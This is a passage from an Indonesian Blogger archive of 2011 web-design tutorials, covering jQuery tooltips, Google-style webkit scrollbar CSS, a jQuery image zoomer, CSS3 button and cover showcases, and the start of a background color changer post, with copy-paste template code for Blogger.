<span class="caps">S</span>aya terinspirasi membuat Monopoly dengan Css ini dari lembaran kertas Monopoly di rumah. Terlintas pikiran untuk membuat beda dari yang lain, saya buatlah Monopoly ini. Tidak percaya? Klik saja tombol biru diatas yang bertuliskan "<b>Click For Real Monopoly!!</b>" itu.<br />
<br />
Browser Support : <img alt="Firefox" src="http://www.w3schools.com/images/compatible_firefox2020.gif" title="Firefox!" /><img alt="Chrome" src="http://www.w3schools.com/images/compatible_chrome2020.gif" title="Google Chrome" /><img alt="Safari" src="http://www.w3schools.com/images/compatible_safari2020.gif" title="Safari" /> </div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com190tag:blogger.com,1999:blog-6541701603000981262.post-69791168085857414932011-12-19T06:24:00.000-08:002012-01-02T06:35:44.664-08:00Saturn - Cover Magazine<style>
.post-body img{opacity:1;}.button{font:30px Calibri,Arial,sans-serif; text-shadow:1px 1px 0 rgba(255,255,255,0.4); text-decoration:none !important; white-space:nowrap; display:inline-block; vertical-align:baseline; position:relative; cursor:pointer; padding:10px 20px; background-repeat:no-repeat; background-position:bottom left; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'); background-position:bottom left,top right,0 0,0 0; background-clip:border-box; -moz-border-radius:8px; -webkit-border-radius:8px; border-radius:8px; -moz-box-shadow:0 0 1px #fff inset; -webkit-box-shadow:0 0 1px #fff inset; box-shadow:0 0 1px #fff inset; -webkit-transition:background-position 1s; -moz-transition:background-position 1s; transition:background-position 1s}.button:hover{background-position:top left; background-position:top left,bottom right,0 0,0 0}.button:active{bottom:-1px}.blue.button{color:#0f4b6d !important; border:1px solid #84acc3 !important; background-color:#48b5f2; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(89,208,244,1) 0,rgba(89,208,244,0) 100px),-moz-linear-gradient(#4fbbf7,#3faeeb); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(89,208,244,1)),to(rgba(89,208,244,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#4fbbf7),to(#3faeeb))}.blue.button:hover{background-color:#63c7fe; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(109,217,250,1) 0,rgba(109,217,250,0) 100px),-moz-linear-gradient(#63c7fe,#58bef7); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(109,217,250,1)),to(rgba(109,217,250,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#63c7fe),to(#58bef7))}
</style><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://blogazinecover.blogspot.com/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhewDlCKD__EryFottvV8_pfp3u5SFdKxkGVXwtwRTFau6FugMWwFHGU8Dle-TBT2m3p8ouFqg_DUB_Lfl3X5uDdUjhohxcWwB3DKoad-BDMf-fUrSAFAqx9QGjsiKNBR3S1qXR21a7_o4/s1600/My+Cover.png" style="-moz-transform: rotate(0.5deg); -webkit-transform: rotate(0.5deg); box-shadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25); transform: rotate(0.5deg);" /></a></div>
<br />
<center><a class="button blue" href="http://blogazinecover.blogspot.com/">Original Magazine with CSS!</a></center><br />
<div style="border-radius: 5px; border: 2px solid #eee; box-shadow: 0 0 3px #aaa; margin: 0 auto; padding: 10px; text-shadow: 0 0 2px #fc0; width: 300px;">
Merupakan cover magazine yang saya buat kebanyakan menggunakan CSS3 (<b>Klik tombol biru diatas!</b>). Ada acara untuk membuat Cover di Blogazine (Blog Magazine) yang di selenggarakan oleh <b>Kimzigr Nfour</b> sebagai ajang kompetisi cover majalah. Meskipun yang kubuat bukanlah mirip dengan majalah, tetapi setidaknya saya sudah berusaha :)</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com162tag:blogger.com,1999:blog-6541701603000981262.post-76839038622224369472011-12-17T17:33:00.000-08:002011-12-18T21:24:46.026-08:00Special Jquery Tooltips!<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcvyzKCfPD8XPmdvWytf9tQN_WNz8zwHJOv_FfU4FvZJsN__N3ILljiPOCPeig3R4Y01VFn6j-DZC5n3201o1UYqBV-vQBL74oGMXvJev0wxqKtUDtDox48uBeQIOTc4B62F9shc-ZlRk/s1600/Tooltips.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcvyzKCfPD8XPmdvWytf9tQN_WNz8zwHJOv_FfU4FvZJsN__N3ILljiPOCPeig3R4Y01VFn6j-DZC5n3201o1UYqBV-vQBL74oGMXvJev0wxqKtUDtDox48uBeQIOTc4B62F9shc-ZlRk/s200/Tooltips.png" width="200" /></a></div>
Halo sobat lagi lagi ketemu kalian lagi di sini. Kedatangan saya kali ini bertujuan untuk membawakan oleh oleh Tutorial lagi nih buat sobat semua. Sebelumnya saya pernah mempostingkan bagaimana cara membuat <a href="http://farixsantips.blogspot.com/2011/10/amazing-easy-tooltips.html" target="_blank">Tooltips dengan Jquery</a>. Apa sih Tooltips itu? Selengkapnya bisa sobat lihat di postingan lamaku itu. Nah tutorial kali ini sangat berkaitan dengan postingan lama tersebut. Namun ada perbedaan dari <b>Tooltips</b> lama dengan <b>Tooltips</b> Special yang kali ini saya akan publikasikan : <br />
<ol>
<li>Efek Hover pada Tooltips</li>
<li>Muncul untuk semua link yang diberi<b> Tag [title]</b></li>
</ol>
Saya akan membahas maksud dari "Muncul untuk semua link yang diberi<b> Tag [title]</b>" tadi. Itulah keistimewaan dari Tooltips Special kali ini. Pada Tooltips yang lama itu jika ingin menampilkan Tooltips wajib meletakan <b>kode class</b>, jadi tidak semua link akan terkena efek Tooltips ini. Tetapi kali ini sebaliknya, alias semua Link terkena efek Tooltips ini.<br />
<br />
<a href="http://the-demos.blogspot.com/2011/12/special-jquery-tooltips.html" style="font-size: 17px; text-shadow: 1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;">DEMO PAGES</a> [click here!]<br />
<br />
Sudah liat kehebatan dari Special Jquery Tooltips itu? Yuk dilihat bagaimana cara membuat. <br />
<ol>
<li>Buka Blogger.com</li>
<li>Saat Disahsboard Klik Layout → Edit HTML</li>
<li>Copy code berikut tepat bawah kode <span style="color: red;"><head></span></li>
<blockquote>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script><br />
<script src="http://css-tricks.com/examples/CSS3Tooltips/js/tooltips.js"></script><br />
<script> $(function() { $("body<span style="color: yellow;"> </span><span style="color: lime;">a, span, p, div</span>[title]").tooltips(); }); </script></blockquote>
<li>Kemudian letakan kode berikut diatas kode <span style="color: red;">]]></b:skin></span></li>
<blockquote>
.tooltip { pointer-events: none; opacity: 0; display: inline-block; position: absolute; padding: 6px 12px; color: white; border-radius: 7px; margin-top: 20px; text-align: center; font-size:14px; font-family:Comic Sans ms; box-shadow: 0 0 3px black; } .tooltip, .arrow:after { background: black; border: 2px solid white; } .arrow { width: 70px; height: 16px; overflow: hidden; position: absolute; left: 50%; margin-left: -35px; bottom: -16px; } .arrow:after { content: ""; position: absolute; left: 20px; top: -20px; width: 25px; height: 25px; -webkit-box-shadow: 6px 5px 9px -9px black,5px 6px 9px -9px black; -moz-box-shadow: 6px 5px 9px -9px black,5px 6px 9px -9px black; box-shadow: 6px 5px 9px -9px black,5px 6px 9px -9px black; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); } .tooltip.active { opacity: 1; margin-top: 5px; -webkit-transition: all 0.2s ease; -moz-transition: all 0.2s ease; -ms-transition: all 0.2s ease; -o-transition: all 0.2s ease; } .tooltip.out { opacity: 0; margin-left: 100px; } </blockquote>
<li>Kemudian Save Template!</li>
<li>Tooltips akan muncul ketika sobat meletakan kode <span style="color: red;">title="deskripsi"</span>. Contoh</li>
<blockquote>
<a href="URL" <span style="color: blue;">title="deskripsi"</span>>TEXT</a><br />
<div<span style="color: blue;"> title="deskripsi"</span>>TEXT</div><br />
<span <span style="color: blue;">title="deskripsi"</span>>TEXT</span><br />
dan lain lain </blockquote>
</ol>
Sudah selesai tips dan trik membuat <b>Tooltips Special</b> ini :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com147tag:blogger.com,1999:blog-6541701603000981262.post-24459464007817673132011-12-14T21:59:00.000-08:002011-12-15T02:05:46.465-08:00Edit Scrollbar in -webkit- (Google Style)<div style="-moz-column-count: 2; -moz-column-gap: 1.5em; -webkit-column-count: 2; -webkit-column-gap: 1em; column-count: 2; column-gap: 1.5em;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgrDxVvnAPVDfyuYNseFVKmelMaUqarDeLdG815oPtF069RheSMXaZZjN2GGPds8_WwV4c2j4_kgK-XAoe-377ySNpAbt31fuYx1RtmPzzzE-c8tEEKJQ20QPmNzuGPxBfH_IE-JFMdZM/s1600/scrollbar.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5669586555392809154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgrDxVvnAPVDfyuYNseFVKmelMaUqarDeLdG815oPtF069RheSMXaZZjN2GGPds8_WwV4c2j4_kgK-XAoe-377ySNpAbt31fuYx1RtmPzzzE-c8tEEKJQ20QPmNzuGPxBfH_IE-JFMdZM/s400/scrollbar.png" style="cursor: pointer; float: left; height: 142px; margin: 0pt 10px 10px 0pt; width: 190px;" /></a>Halo sobat kembali lagi bersama saya di blog <i>Farixsantips</i>! Sebelumnya saya ingatkan bahwa saya pernah mempostingkan tentang bagaimana cara <i><a href="http://farixsantips.blogspot.com/2011/10/edit-scrollbar-in-webkit-browser.html">merubah Scrollbar pada layar browser</a></i> dengan <b>CSS</b> saja dan dengan catatan hanya pengaktif kode <b>-webkit-</b> saja. Untuk lebih jelasnya apa itu Scrollbar, mending lihat postingan Saya tentangnya : [baca : <a href="http://farixsantips.blogspot.com/2011/10/edit-scrollbar-in-webkit-browser.html">Edit Scrollbar in -webkit- Browser</a>].<br /><br />Kali ini tampilan <b>Scrollbar</b> lebih hidup dengan <i>Style (gaya)</i> yang lebih hidup dan berbeda. Saya dengan tak sadar menemukan script ini di website teman saya, Om <b>Google</b> <i><span class="Apple-style-span">[wkwkwkwkw]</span></i>. Ada beberapa <b>sedikit perbaikan dan tambahan</b> untuk <b>Style</b> ini karena pada awalnya script kurang cocok dan menurut saya masih ada kesalahan ketika di terapkan di blog. <b><br /><br />Contohnya</b> seperti apa sih karyanya? Kita tengok menggunakan <span style="background: none repeat scroll 0% 0% rgb(222, 1, 1); border-radius: 5px 5px 5px 5px; box-shadow: 0pt 0pt 3px rgb(187, 0, 0) inset; color: white; padding: 2px 7px;">Browser GOOGLE CHROME atau SAFARI</span> karena kedua browser itu yang hanya support dengan <b>Css Code -webkit-</b>.</div><style>::-webkit-scrollbar{height:10px;overflow:visible;width:10px}::-webkit-scrollbar-button{height:0;width:0}::-webkit-scrollbar-track{background-clip:padding-box;border:solid transparent;border-width:0 0 0 1px}::-webkit-scrollbar-track:hover{background-color:rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(0,0,0,.1)}::-webkit-scrollbar-track:active{background-color:rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07)}::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.2);background-clip:padding-box;border:solid transparent;border-width:1px 1px 1px 1px;min-height:28px;padding:100px 0 0;box-shadow:inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07)}::-webkit-scrollbar-thumb:hover{background-color:rgba(0,0,0,.4);box-shadow:inset 1px 1px 1px rgba(0,0,0,.25)}::-webkit-scrollbar-thumb:active{background-color:rgba(0,0,0,0.5);box-shadow:inset 1px 1px 3px rgba(0,0,0,0.35)}::-webkit-scrollbar-corner{background:transparent}body::-webkit-scrollbar{height:12px;overflow:visible;width:12px}body::-webkit-scrollbar-track-piece{background-clip:padding-box;background-color:#f5f5f5;border:solid #fff;border-width:0 0 0 0px;box-shadow:inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07)}body::-webkit-scrollbar-thumb{border-width:1px 1px 1px 1px;margin:0 0 0 1px}body::-webkit-scrollbar-corner{background-color:#f5f5f5}</style><br /><span style="font-size: 30px; text-shadow: 1px 0px 0px rgb(238, 238, 238), -1px 0px 0px rgb(255, 255, 255), 0pt 1px 0pt rgb(238, 238, 238), 0pt -1px 0pt rgb(238, 238, 238), 1px 1px 2px rgb(0, 0, 0);">Example!</span><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc9-T-wG4kuMeJxAYiN6H8y-yF094ekV_mAi3sYBEGWX-sSAEnct51Sg3hyphenhyphennimD0Lz3NelwllALllPfoqV3VkLT1dUgwh64m8rufoErpboJjgKC4-QahBNXu7eMBB4I56Ud8olCkdgUg8/s1600/google-book-store-logo.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 100px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc9-T-wG4kuMeJxAYiN6H8y-yF094ekV_mAi3sYBEGWX-sSAEnct51Sg3hyphenhyphennimD0Lz3NelwllALllPfoqV3VkLT1dUgwh64m8rufoErpboJjgKC4-QahBNXu7eMBB4I56Ud8olCkdgUg8/s400/google-book-store-logo.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5686284720869882194" /></a><div style="height: 100px; overflow: auto; padding: 10px; width: ancho;">Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.</div><br /><span style="font-size: 30px; text-shadow: 1px 0px 0px rgb(238, 238, 238), -1px 0px 0px rgb(255, 255, 255), 0pt 1px 0pt rgb(238, 238, 238), 0pt -1px 0pt rgb(238, 238, 238), 1px 1px 2px rgb(0, 0, 0);">Cara membuatnya</span><br /><br />Membuat/Mengedit Scrollbar pada Browser <span style="font-weight: bold;">Google Chrome</span> yaitu dengan menggunakan kode<span style="font-style: italic; font-weight: bold;">-webkit-</span> tadi. Setelah di letakan <span style="font-weight: bold;">Css</span> ajaib itu, <span style="font-weight: bold;">Css</span> akan berjalan ke Semua Widget, Gadget, Halaman, Object yang memiliki <span style="font-weight: bold;">Scrollbar</span> dengan <i>STYLE GOOGLE</i>.<ol><li>Buka B<span style="font-weight: bold;">logger.com</span> dengan <span style="font-weight: bold;">Pass</span> dan ID</li><li>Dashboard klik Layout → Edit HTML → Cari kode <span style="color: red;">]]></b:skin&gt</span></li><li>Letakan <span style="font-weight: bold;">kode CSS </span>berikut tepat diatasnya kode <span style="font-style: italic;">]]></b:skin></span> tadi :</li><blockquote>::-webkit-scrollbar{height:10px;overflow:visible;width:10px}<br />::-webkit-scrollbar-button{height:0;width:0}<br />::-webkit-scrollbar-track{background-clip:padding-box;border:solid transparent;border-width:0 0 0 1px}<br />::-webkit-scrollbar-track:hover{background-color:rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(0,0,0,.1)}<br />::-webkit-scrollbar-track:active{background-color:rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07)}<br />::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.2);background-clip:padding-box;border:solid transparent;border-width:1px 1px 1px 1px;min-height:28px;padding:100px 0 0;box-shadow:inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07)}<br />::-webkit-scrollbar-thumb:hover{background-color:rgba(0,0,0,.4);box-shadow:inset 1px 1px 1px rgba(0,0,0,.25)}<br />::-webkit-scrollbar-thumb:active{background-color:rgba(0,0,0,0.5);box-shadow:inset 1px 1px 3px rgba(0,0,0,0.35)}<br />::-webkit-scrollbar-corner{background:transparent;}<br />body::-webkit-scrollbar{height:12px;overflow:visible;width:12px}<br />body::-webkit-scrollbar-track-piece{background-clip:padding-box;background-color:#f5f5f5;border:solid #fff;border-width:0 0 0 0px;box-shadow:inset 1px 0 0 rgba(0,0,0,.14),inset -1px 0 0 rgba(0,0,0,.07)}<br />body::-webkit-scrollbar-thumb{border-width:1px 1px 1px 1px;margin:0 0 0 1px;}<br />body::-webkit-scrollbar-corner{background-color:#f5f5f5;}</blockquote><li><b>Save Template</b> Sobat dan lihat kembali Halaman Blog sobat seluruhnya dengan menggunakan <span style="background-color: #de0101; border-radius: 5px 5px 5px 5px; box-shadow: 0px 0px 3px rgb(187, 0, 0) inset; color: white; padding: 2px 7px;">GOOGLE CHROME atau SAFARI</span></li></ol>Gimana menurut sobat tentang Scrollbar ini, publikasikan di komentar yah hehe. Makasih atas waktunya!Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com201tag:blogger.com,1999:blog-6541701603000981262.post-75111039875449355792011-12-13T01:01:00.000-08:002011-12-14T00:06:46.367-08:00Image Zoomer JQuery<i><div style="border-top-width: 3px; border-right-width: 3px; border-bottom-width: 3px; border-left-width: 3px; border-top-style: ridge; border-right-style: ridge; border-bottom-style: ridge; border-left-style: ridge; border-top-color: rgb(10, 206, 255); border-right-color: rgb(10, 206, 255); border-bottom-color: rgb(10, 206, 255); border-left-color: rgb(10, 206, 255); box-shadow: rgb(35, 105, 209) 0px 0px 5px inset; padding-top: 15px; padding-right: 15px; padding-bottom: 15px; padding-left: 15px; background-image: -webkit-gradient(linear, 100% 100%, 0% 0%, color-stop(0.13, rgb(35, 105, 209)), color-stop(0.34, rgb(82, 91, 255)), color-stop(0.84, rgb(10, 206, 255))); color: rgb(255, 255, 255); "><b>Akhirnya</b> postingan ini setelah sekian lama berhasil juga di post disini. Sebelumnya sudah lama sekali saya ingin post postingan ini, kelupaan! Postingan ini ada kaitannya dengan postingan saya sebelumnya ini [<a href="http://farixsantips.blogspot.com/2011/06/effect-zoom-in-pada-gambar-javascript.html">Effect Zoom in pada Gambar Javascript</a>], kalau tak percaya cek saja.</div></i><br /><b>Okay Lets Begin</b>! haha. Pertama tama mari kita panjatkan puja dan puji syukur kita kepada Tuhan YME atas kehadiratnya kita dapat berkumpul dan membaca <b>Artikel</b> kecil ini hehe.<br /><br />Tutorial kali ini juga lebih simple di bandingkan dengan tutorial yang lama tadi itu. <b>perbedaannya</b> adalah dimana tutorial sebelumnya ketika mouse di arahkan ke <i>gambar zoom</i> maka keluar hasil zoomnya <i>di sebelah gambarnya</i>. <b>Sedangkan</b> tutorial kali ini membuat gambar dengan efek zoom dengan kata lain ketika sobat menyorotkan mouse sobat ke gambar (hover), maka mouse berubah <i>menjadi kaca pembesar.</i><br /><br /><div style="text-align: center;"><span style="color:red"><b>Contohnya Seperti ini</b></span></div><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script><script src="https://sites.google.com/site/farixsantips/scripts/imgzoomer.js" type="text/javascript"></script><script type="text/javascript">jQuery(document).ready(function($){ $('#myimage').addpowerzoom() })</script><div style="text-align: center;"><img id="myimage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCW5yGZ8V3GcB_Y-mFkvsnchcD8Rgf1eTvqUDOkW2RbpKfo0PJq_bBn8Ci0lRiiEtp6nGQ4-Gv_rfYpRdjcEnZM8305KR-K_OH0ZUznZqXykRWTkWxuBLIEio58KWjb19iyXH4Mt_hdw/s1600/painting-landscape.jpg" style="padding:0; background:none; height: 50%; width: 50%; " /><br /><span style="font-size:small"><br />Arahkan Cursor sobat kegambar! Putar Scroll Mouse juga!</span></div><br />Apa yang terjadi? Melihat Efeknya? Sangat indah bukan efeknya? Menurut saya sangat indah dan bisa membantu melihat gambar yang kurang jelas hehe. Berikut cara membuatnya :<br /><ol><li>Buka Blogger.com dengan Password dan ID</li><li>Masuk ke Dashboard → Layout/Design → Edit HTML<br /></li><li>Letakan kode berikut diatasnya kode <b><head></b> :</li><blockquote><script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'></script><br /><script src='https://sites.google.com/site/farixsantips/scripts/imgzoomer.js' type='text/javascript'><br /></script><br /><script type='text/javascript'><br />jQuery(document).ready(function($){<br />$('#zoom').addpowerzoom()<br />})<br /></script></blockquote><li>Kemudian Save!<br /></li><li>Selanjutnya sobat hanya perlu membuat kode gambar dan di tambahkan dengan <b>ID="zoom"</b>, Contoh. Letakan kode berikut saat sobat ingin posting :</li><blockquote><img id="zoom" src="<b>https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix4atDTRCbW6f74C8LRQ0GM9FKDM9ZYDdnOO6m1s0bo49zytjIbYgM4Ggzg4z8lLkY1-7WwbEtm5LmOFnjepfj8yBlnOwgY8mo9Qg54_ISS8xt_84q6Rr62fHg7oREiK8jYPqKewBmq9Y/s1600/parissmall.jpg" /</b>></blockquote>Kode bercetakan tebal adalah kode URL gambar yang bisa di ganti terserah kemauan sobat.</ol><div style="border:1px solid #fff;box-shadow:0 0 3px #ccc;color:#fff;padding:15px;background-image: linear-gradient(bottom, rgb(255,88,66) 6%, rgb(219,69,0) 100%);background-image: -o-linear-gradient(bottom, rgb(255,88,66) 6%, rgb(219,69,0) 100%);background-image: -moz-linear-gradient(bottom, rgb(255,88,66) 6%, rgb(219,69,0) 100%);background-image: -webkit-linear-gradient(bottom, rgb(255,88,66) 6%, rgb(219,69,0) 100%);background-image: -ms-linear-gradient(bottom, rgb(255,88,66) 6%, rgb(219,69,0) 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0.06, rgb(255,88,66)),color-stop(1, rgb(219,69,0)) );">Selesai sudah tutorial singkat pada hari ini. Saya sempat-sempatkan di waktu terjepit ini untuk posting dan berbagi dengan sobat karena saya lagi masa masanya UAS (Ujian Akhir Semester). Hehehe.. Happy Blogging!</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com159tag:blogger.com,1999:blog-6541701603000981262.post-61226680698776759002011-12-09T03:18:00.000-08:002011-12-10T06:43:23.633-08:00Background Color Changer<div style="background-image: -moz-linear-gradient(right bottom, #F5CD05 19%, #F0FF1F 68%, #FFF305 84%); background-image: -ms-linear-gradient(right bottom, #F5CD05 19%, #F0FF1F 68%, #FFF305 84%); background-image: -o-linear-gradient(right bottom, #F5CD05 19%, #F0FF1F 68%, #FFF305 84%); background-image: -webkit-gradient(linear,right bottom,left top,color-stop(0.19, #F5CD05),color-stop(0.68, #F0FF1F),color-stop(0.84, #FFF305) ); background-image: -webkit-linear-gradient(right bottom, #F5CD05 19%, #F0FF1F 68%, #FFF305 84%); background-image: linear-gradient(right bottom, #F5CD05 19%, #F0FF1F 68%, #FFF305 84%); border: 3px dashed #ffcc00; box-shadow: 0 0 5px #ccc; padding: 15px;">Halo sobat semua kembali lagi bersama saya di blog <a href="http://farixsantips.blogspot.com/">ini</a>. Mungkin pada waktu yang cerah ini paling tepat untuk membuat postingan untuk <a href="http://farixsantips.blogspot.com/search/label/Tutorial">Tutorial</a> lagi nih hehehe. Sebelumnya saya mohon maaf jika pada <b>Hari Senin</b> besok saya tidak dapat berkunjung layaknya seperti hari hari biasa di karenakan saya telah mengikuti acara sekolah <b>UAS</b> <i>(Ujian Akhir Semester)</i>. Tidak saya sangka bahwa pergantian Tahun dari 2011 ke 2012 berlangsung cepat sekali.</div><br /><b>Background</b> dalam <b>Web/blog</b> bisa disebut juga latar belakang suatu <i>Web/blog</i>. Latar belakang suatu Web terbagi atas 2 (dua) dasar, yaitu <b>Background-Color</b> dan <b>Background-Image</b>.<br /><ol><li><b>Background Color</b> atau disebut juga background yang terjadi akibat dari efek warna warna. <i>Syntax dalam CSS</i> Background ini adalah → <i><span style="color:red">background-color: #KODE WARNA;</span></i></li><li><b>Background Image</b> atau disebut juga background dengan gambar. Syntax dalam CSS Background ini adalah → <i><span style="color: red; ">background-image: url(URL_GAMBAR.com);</span></i>. Karena background ini menggunakan fungsi gambar maka bisa di tambahkan Syntax lain<br /><blockquote>background-color: <a href="http://farixsantips.blogspot.com/2011/01/kode-warna-html.html"><i>color code html</i></a><br />background-repeat: <i>no-repeat/<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7KqPNc_uJz5E8z9ZwtDAXTW2_LE-6aDtl2r3llIWXIYlC6CyP33B9_0U9pmptJrAPPxvqc8heT9ijde1wuAFEWuz49goOrRNr9fmA5al6sf50yIZGs3riXmsG_WNE437vKRzcrF8pQ0/s400/repeat.png">repeat-x/repeat-y</a></i><br />background-attactment: <i>fixed/relatives/absolute</i><br />background-position: <i>top/left/bottom/right/ or both</i></blockquote>Background ini bisa menggunkan kombinasi <a href="http://farixsantips.blogspot.com/2011/11/collection-css3-background-patterns.html">Gradient</a></li></ol><div><div>Dalam permainan Javascript segala sesuatu yang terlihat susah menjadi mungkin.<i> Javascript</i> kali ini adalah membuat <b>Background Color Changer</b>. Javascript apa itu? <i>Javascript ini bertujuan untuk merubah suatu <b>Latar warna belakang</b> menjadi warna lain.</i><br /><br />Ada <b>2 (dua)</b> Style dalam <b>Background Color Changer</b> ini menurut saya yang paling cocok 